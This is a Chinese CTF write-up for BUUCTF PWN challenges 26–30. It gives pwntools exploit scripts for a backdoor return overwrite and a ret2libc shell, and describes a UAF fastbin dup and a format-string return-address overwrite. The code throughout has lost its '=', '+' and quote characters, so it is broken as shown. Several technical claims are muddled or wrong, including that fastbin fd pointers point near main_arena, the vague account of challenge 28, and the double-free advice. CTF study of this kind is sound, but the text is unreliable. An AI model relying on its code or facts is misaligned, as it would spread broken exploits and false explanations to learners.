BUUCTF PWN 26-30题实战:从栈溢出到格式化字符串
这阵子刷BUUCTF的PWN题库正好推进到第26题到第30题用了周四晚上加一个下午把五道题全部拿下。BUUCTF这个平台在CTF新手圈里算是很友好的一个去处题目难度梯度拉得比较开不会一上来就劝退而这几个题恰好把栈溢出、ret2libc、整数溢出、堆UAF和格式化字符串这几块PWN基础中的基础都串了一遍。与其说这五道题本身有多难不如说它们是很好的“查漏补缺”关卡你之前对某个知识点是不是真理解了写exp的时候很快就能暴露出来。如果你的目标也是把PWN入门路线走顺这篇writeup可以当成一份参考答案我会把每道题的思路、关键反汇编、exp和踩坑点都拆开讲。默认你手里有IDA Pro、pwntools和gdb会一点Python最好不懂的地方跟到代码注释也够用。1. 题目概览与考点分析1.1 第26题到第30题分别考了什么这一批五道题的考点分布很典型基本覆盖了CTF PWN入门阶段的几大类核心题目。第26题考的是最朴素的栈溢出漏洞利用程序里直接放了一个后门函数只要控制返回地址跳过去就能拿到shell这类题在比赛里属于送分题用来熟悉整套解题流程再合适不过。第27题就明显升级了程序里没有现成的后门main函数只能输入输出这就逼着你走ret2libc路线先泄露一个libc函数真实地址算偏移再第二次触发漏洞执行system(/bin/sh)。这种题目在真实比赛里非常常见它考察的完全就是基本功。后面三道题各有侧重。第28题表面看是栈溢出但真正卡住你的不是怎么写ROP链而是程序用了奇怪的读入方式绕过对输入长度的限制才是关键我把它归类为“入口逻辑绕过错题”。第29题开始进入堆题领域考的是经典的UAF利用释放后再使用造成的重复释放构建fastbin attack。第30题则是格式化字符串漏洞通过%n往任意地址写值把返回地址改成one_gadget或者是system加上/bin/sh的组合。这五道题放一起刚好把PWN入门的几个重要板块都练到了。1.2 从这五题能看到PWN学习的路线如果你刚开始学PWN建议完全按照我上面说的难度顺序去练不要一上来就啃堆题。第26题和第27题属于必需的根基它们教会你两件事怎么用pwntools收发数据怎么在栈上布置ROP链。这两个能力用不上堆知识但是之后所有复杂利用都依赖它们。第28题能让你意识到漏洞利用不只是看函数有没有gets还要看程序整体入口逻辑很多时候限制条件本身就是突破口。第29题是堆利用的第一步UAF理解不了的话后面的double free、house of spirit基本上也走不通。第30题的格式化字符串核心其实是任意读写能力掌握之后很多原本要绕路的场景可以直接用格式化字符串一把梭。这套题我做完的最大感受是知识点的衔接做得非常好不会出现这道题需要你先掌握另一个还没练过的技巧这种情况。每道题要用的思路在前面的题目里基本都铺垫过剩下的就是你自己能不能想到把那块积木拼起来。2. 工具链与PWN基础关键点2.1 checksec和保护机制到底在说什么做PWN题第一步不是急着打开IDA而是先checksec看保护机制。很多刚入门的同学看到checksec输出一堆NX、PIE、RELRO、Canary就慌实际上这些信息直接决定了你能不能打以及要怎么打。以第26题来说我当时checksec看下来NX是开启的意味着栈上不能直接执行shellcode所以必须走后门函数或者ROP打system不能想着往栈里塞一段机器码跳进去。PIE没开的话函数的地址在IDA里看到是多少远程就是多少写exp的时候直接用常数省去泄露基址的步骤。Canary这关尤其重要。如果程序有canary栈溢出想直接覆盖返回地址是不行的因为canary在返回地址之前只要覆盖了它程序退出时就会报stack smashing detected。常用绕过思路是泄露canary但如果程序没有越界读那种打印功能就比较麻烦。这一批题目里第26题、第27题、第28题都没有开启canary所以可以直接用传统栈溢出思路打。第30题虽然也没canary但因为漏洞是格式化字符串走的是任意写所以保护机制对打法影响不大。第29题堆题要关注的是RELRO和Malloc保护如果Full RELRO改GOT表就不太现实但UAF在fastbin上的利用不受影响。还有一个容易被忽视的是RELRO。Partial RELRO情况下GOT表可以改很多题会直接让你改某个函数GOT为system。但如果你遇到Full RELRO别死磕GOT改写考虑hook劫持或者返回地址改写。阅读checksec结果应该像侦探看线索而不是走个过场。2.2 用pwntools搭一套稳定的交互模板写PWN exp我一直建议用pwntools的模板化写法而不是每次都临时拼。一个标准的exp骨架包含连接、发送payload、接收输出、判断结果这几个部分。连接分本地和远程本地用process(./pwn)远程用remote(node4.buuoj.cn, 30001)这类形式。交互用sendline、send、recvuntil、recv这些方法最常用的是recvuntil(buf)截取到特定字符串这样可以精确拿到程序打印出来的泄露地址。我最常用的模板长这样from pwn import * context.arch amd64 context.log_level debug if args[REMOTE]: p remote(node4.buuoj.cn, 30001) else: p process(./pwn26) elf ELF(./pwn26) # 或者读取libc符号 libc ELF(./libc-2.23.so) def send_payload(offset, return_addr): payload ba * offset payload p64(return_addr) p.sendline(payload) p.interactive()这里有几个细节想特别提醒。context.log_level建议在调试阶段设为debug它能打印出发送的payload和接收到的原始字节方便定位交互卡在哪一步。但是比赛时最好关掉因为大量调试输出会拖慢远程交互效率。context.arch设置成amd64会影响后面打包函数比如p64在arch为i386时会报错所以开局设置好它省得后面踩坑。远程地址和端口每次连题都会更新BUUCTF平台上点开题目就能看到建议在exp里用args判断本地和远程切换更顺手。用模板还有一个好处就是当你卡在某道题调试不出来时可以对照模板快速排除是交互问题还是思路问题。我见过不少新手payload构造明明是对的结果因为用了send而不是sendline程序没有换行符就一直卡在等待输入这种问题debug模式下看一眼就明白了。2.3 危险函数识别堆溢出和栈溢出的“触发器”每次拿到一个ELF文件我会先快速搜索函数列表重点看程序有没有使用gets、read、strcpy、sprintf、scanf、input这类危险函数。gets是最经典的栈溢出触发点它不会限制输入长度所以配合足够长的payload就能覆盖到返回地址。第26题就是这种情况。read函数的话还要看第三个参数是不是可控如果read(fd, buf, 0x100)这种固定长度可能不足以覆盖到返回地址这时你可以考虑先覆盖局部变量或者利用栈上的其他变量构造链。第28题考的就是另一种情况函数本身是fgets限制了长度但程序内部对输入内容做了额外的判断导致我们可以用看似不超长的输入实际却覆盖了本不能覆盖的地方。堆题里危险函数往往是free之后继续用指针常见的题目特征是有add、delete、show、edit这几类功能菜单。第29题就是这么设计的delete时没有把指针置空show或edit还能继续操作已经释放的内存这就是UAF的入口。识别出功能函数和危险函数的组合关系基本上就能推断出漏洞类型后面再IDA里验证一下就差不多了。3. 五道题Writeup实操记录3.1 第26题栈上找后门两行payload的事这题的ELF名字我就不具体说了反正你按顺序刷到第26题的时候自然能对上。checksec信息没什么PIE和canary我扔进IDA里shiftF12搜字符串直接看到了一串/bin/sh。交叉引用过去发现有一个函数打印完you win之后执行system(/bin/sh)这就是后门函数。后门函数的地址是0x4006B2。再看main函数首先是setbuf关闭缓冲然后调用vulnerable函数。这个函数里有个char buf[0x20]之类的数组接着直接gets(buf)栈上布局非常直观。gets会一直读到换行符为止输入长度超过0x20就开始覆盖栈上变量再往后就是返回地址。覆盖偏移的计算我习惯用gdb的cyclic来确定。pwntools提供了cyclic和cyclic_find比手动数栈偏移快得多。from pwn import * context.arch amd64 context.log_level error p process(./pwn26) offset 0x28 # 这里可以先用 cyclic 测出来 backdoor 0x4006B2 payload ba * offset p64(backdoor) p.sendline(payload) p.interactive()有一点值得注意0x4006B2用p64打包之后地址里有两个字节是0x00gets是用换行符判断结束的可以接受0x00字节所以直接没问题。但如果你遇到scanf(%s)它遇到0x00就停了payload就得想想别的办法比如用部分覆盖或者找其他能输入的通道。3.2 第27题没有后门就ret2libc泄露地址三步走第27题明显比第26题上了一个台阶。程序开了NXPIE没有开但是函数列表里找不到system也找不到/bin/sh。如果你上来就想找后门大概率会卡住。正确的思路是ret2libclibc.so里肯定有system和/bin/sh只要知道libc版本再知道某个libc函数在程序运行时的真实地址就能算出system的真实地址。所以解题分三步。第一步利用程序自身的输出功能把puts的GOT表地址给打印出来。第二步根据泄露出的puts实际地址减去libc里puts的符号偏移得到libc基址。第三步基址加上libc里system和/bin/sh的偏移构造ROP链执行target。实际exp大概是这样的from pwn import * context.arch amd64 elf ELF(./pwn27) libc ELF(./libc-2.23.so) p process(./pwn27) puts_plt elf.plt[puts] puts_got elf.got[puts] main_addr elf.symbols[main] # 第一次发送让程序调用 puts(puts_got)然后回到 main payload ba * offset p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(main_addr) p.sendline(payload) p.recvuntil(...) puts_addr u64(p.recv(6).ljust(8, b\x00)) libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) # 第二次发送执行 system(/bin/sh) payload2 ba * offset p64(pop_rdi_ret) p64(binsh_addr) p64(system_addr) p.sendline(payload2) p.interactive()这里有个老手才会特别注意的点栈对齐。在调用system时如果栈指针没有16字节对齐system内部会执行movaps指令这时程序会直接崩在movaps上而不是正常弹shell。解决办法是在ROP链里多塞一个ret地址相当于先执行一条ret指令把栈往前挪8字节凑齐对齐。这个坑我当年踩过好几次现在每道题构造system调用之前都会习惯性加一个ret地址。3.3 第28题整数溢出和输入长度限制的绕行第28题拿到手我第一反应又是栈溢出但仔细看发现程序用read限制读取长度乍看没有溢出。然而问题出在它把输入数据转成数值再做索引比如一个数组下标判断用的是int然后负数没有过滤掉导致负索引可以越界读写栈上的数据。又或者读入长度用了一个int传入某个变量后再做加法整数溢出让长度变成超大值绕过原先的判断。这类题考的是对C语言隐式类型转换的理解。举个例子程序先读入一个int n然后n之后跟某个数比较如果n是0xFFFFFFFFn就变成0比较就通过但是实际拷贝长度又用了另一个变量导致溢出。这时候exp通常只需要构造特殊的数字输入不需要太复杂ROP链控制了返回地址之后直接跳到程序里已有的system(/bin/sh)或者用泄露的方式打system。我自己的排查思路是先用IDA追踪所有和输入长度、下标相关的变量类型int、unsigned int、size_t之间混用最容易出事。然后再看哪个数组或缓冲区离返回地址最近控制它是最划算的。有些时候题目是checksec禁了NX但没禁PIE地址直接写就行难度就会低一截。3.4 第29题UAF入门fastbin里的连环释放这道题终于进入堆利用的范畴了。程序菜单基本是add、delete、show三件套没有edit也不能改已存在块的内容。漏洞在于delete函数free掉chunk之后没有把对应指针置NULL而且show还能根据索引打印chunk内容。这样我就能free一次再show一次读到一个被释放chunk里的fd指针。这个fd指针在glibc的fastbin单链表里其实就是下一个空闲chunk的地址指向main_arena附近泄露出来之后能推算出libc基址。更进一步因为指针没置空我可以连续free同一个chunk两次构造fastbin dup从而让fastbin链表出现环。之后通过malloc伪造chunk把分配器引导到任意地址上分配。这种手法就是double free的入门版。我当时的例题目标很简单就是改某个全局指针为system然后触发一次调用。UAF的关键就是理解fastbin在处理free后的第一个8字节是什么。如果你要让某个地址进入fastbin就要保证这个地址处的数据看起来像一个合法的chunk size。伪chunk处的size字段要对得上否则调用malloc会报错。exp里常见的做法是用unsorted bin泄露libc然后通过fastbin dup攻击malloc_hook或者free_hook这种打法在各种堆题里几乎通用。如果你一次性没看懂建议配合gdb的heap命令和fastbins命令看内存布局比干读exp直观得多。3.5 第30题格式化字符串读地址改地址的万能胶水第30题是格式化字符串漏洞。程序里有一个printf(user_input)或者snprintf(buf, user_input)没有指定格式参数导致用户输入的%s、%x、%n之类会被当成格式指令解析。我第一步是输入一串%p.%p.%p这样的方式数偏移。逐段测试后发现输入内容在printf的第几个参数位置可以被引到这一点后面所有读和写都靠它。泄露的话就用%p或者%s来读栈上的数据改数据就用%n。%n会把已经输出的字符数写入指定地址形如%7$n就是写入第7个参数指向的地址。多个字节的写入可以拆成%hhn一个字节一个字节改避免一次性写入超大数值导致效率太低。比如要把一个地址改成system地址通常是低位写一个字节高位再写一个字节。实际exp里常用fmtstr_payload来自动构造payload但我不建议一上来就用它先手动构造一次体会一下参数偏移和%hhn的手感之后再交给工具。而且fmtstr_payload生成的payload如果偏移环境对不上也会失效到时候还是要手动改。第30题我当时通过格式化字符串把返回地址改成了one_gadget直接拿到shell。整个过程不需要泄露libc太久只要确认one_gadget环境和libc版本匹配就行。4. 常见问题与排查技巧实录4.1 本地打得好好的远程却打不通这是新手最崩溃的瞬间。本地process(./pwn)一马平川一发入魂结果一到remote直接卡住或者报错。八成原因是libc版本不一样。本地可能是系统自带libc-2.31远程是Ubuntu 18.04的libc-2.27又或者题目给的是libc-2.23。偏移完全对不上所以system的真实地址肯定算错。解决方案是看题目是否给了libc文件和使用说明。BUUCTF的有些题会直接提供libc.so这时候就用提供的libc文件算偏移。如果没有给libc远程题目通常会标明操作系统版本可以找一个同版本的libc文件下来。如果你不知道怎么判断远程libc版本可以泄露两个函数地址比如puts和printf然后在libc-database或者在线libc search里查匹配版本查到之后记得用checksec看远程ELF和本地是否一致。还有一个经常遇到远程交互的输入输出有缓冲问题。本地可能得益于管道不刷新也能读到数据但远程需要额外发送换行或者收到提示符之后才flush。如果recvuntil写得太死比如收bInput:远程那边实际是bInput:但前面带了换行就会一直block。debug模式下打开日志对比一下就能看出来。4.2 总是卡在system执行前栈对齐和地址截断打ret2libc的时候最常见的一种崩法就是已经算对system地址程序打印出system的调用信息后直接SIGSEGV。这种情况十有八九是栈对齐问题。x64下glibc的system内部有些指令依赖16字节对齐栈指针不对movaps就炸了。处理办法就是ROP链开头加一个ret在调用system之前把栈指针调整回去。我一般习惯这样写payload ba * offset p64(pop_rdi_ret) p64(binsh_addr) p64(ret) p64(system_addr)注意ret和system之间别弄反了POP RDI先把参数弹给system再用ret调整栈最后才进入system。另外还有个细节是如果system地址里面包含0x00字节比如后面几位是0x00sendline发送时没有问题因为换行符是分隔符不会像strcpy那样遇到0就截断。但是如果你用strcpy作为溢出函数就必须考虑0x00截断问题有时候只能选择部分覆盖返回地址改掉末三四个字节来跳转。4.3 堆题里malloc异常和double free报错速查做第29题的时候如果想double free同一个chunkglibc 2.27以上会做tcache check连续释放两次同一个指针会直接abort报出double free or corruption错误。早期fastbin也有头部校验必须确保释放的chunk的size字段合法。很多人堆题做不出来其实是被这两条安全校验拦住。解决办法也简单。针对double free check常见做法是在两次free之间插入一次malloc把tcache对应项先分配走重置计数再free原指针这样第二次释放就没那么容易被识别。或者利用UAF修改chunk的fd指针构造伪装chunk让分配器认为这块区域的size没问题。针对size校验伪造chunk时确保size字段的值落在fastbin允许范围内且该地址是8字节对齐的。调试的时候用gdb的p main_arena、fastbinsY数组和heap bin命令会非常方便能直接看到链上有哪些chunk。4.4 常见报错与应对速查表报错/现象常见原因解决办法stack smashing detected程序开启了Canarypayload覆盖到canary泄露canary或者考虑其他思路远程连接后毫无响应输入结束没发换行符或者recvuntil写太死debug日志看卡在哪一步本地成功远程失败libc版本不一致换libc文件重算偏移调用system崩在movapsx64栈对齐不满足ROP链最前面加retdouble free or corruptiondouble free被glibc拦截两次free之间插入mallocmalloc(): invalid size伪造chunk的size字段不合法修改伪造chunk的size值保证对齐格式化字符串写入无效参数偏移没数对先用%p数清输入在参数栈的偏移这个速查表你可以打印出来贴旁边做题时遇到问题对着看基本上能排查掉90%的新手问题。做完了这五道题我自己最大的体会是PWN做题很像拼图。第26题教你认识栈第27题教你认识libc第28题让你知道漏洞不只是gets一个入口第29题把你领进堆的世界第30题又回到格式化字符串这根万能杠杆。每一步的收获都会在后面反复用到所以一定不要只背exp要把漏洞触发点和为什么这样布置payload想明白。如果你这五道题跟着写下来有一两处卡壳别急着看答案回到IDA里把函数的栈帧、GOT表和调用流程画一遍思路就会清晰很多。后面如果还想继续练建议顺着BUUCTF往后刷堆题的难度会慢慢加上来但前面的基础打扎实了也就不太容易翻车。